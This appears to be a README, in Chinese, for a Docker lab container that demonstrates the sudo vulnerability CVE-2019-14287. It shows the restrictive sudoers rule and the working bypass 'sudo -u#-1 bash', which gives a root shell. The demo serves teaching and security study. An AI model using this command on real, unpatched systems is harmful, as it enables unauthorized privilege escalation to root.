此容器为演示目的而构建,包含一个存在 CVE-2019-14287 漏洞版本的 sudo 命令(https://www.sudo.ws/alerts/minus_1_uid.html)。
此容器可以通过以下命令运行:
docker run -ti cashwilliams/cve-2019-14287-demo
容器包含三个真实用户:
用户 alice 被配置为能够以任何其他用户(此处为 bob,因为它是唯一其他用户)的身份运行任何命令,使用 sudo -u(user) (command),但被限制不能以 root 身份运行命令。这是在 /etc/sudoers 文件末尾配置的:
alice ALL=(ALL,!root) NOPASSWD: ALL
你可以尝试以 bob 身份运行命令,例如打开一个 shell,使用以下命令:
sudo -ubob bash
然而,如果你尝试以 root 身份运行命令,系统会提示输入一个未知的密码(并且命令无论如何都会失败)。这是设计如此,表明 sudo 命令正常工作。
sudo 中的“minus_1_uid”漏洞(https://www.sudo.ws/alerts/minus_1_uid.html)于 2019 年 10 月 14 日公布,展示了用户参数解析方式的一个问题。
在此情况下,alice 可以以 root 用户身份运行命令,例如打开一个 shell,使用以下命令:
sudo -u#-1 bash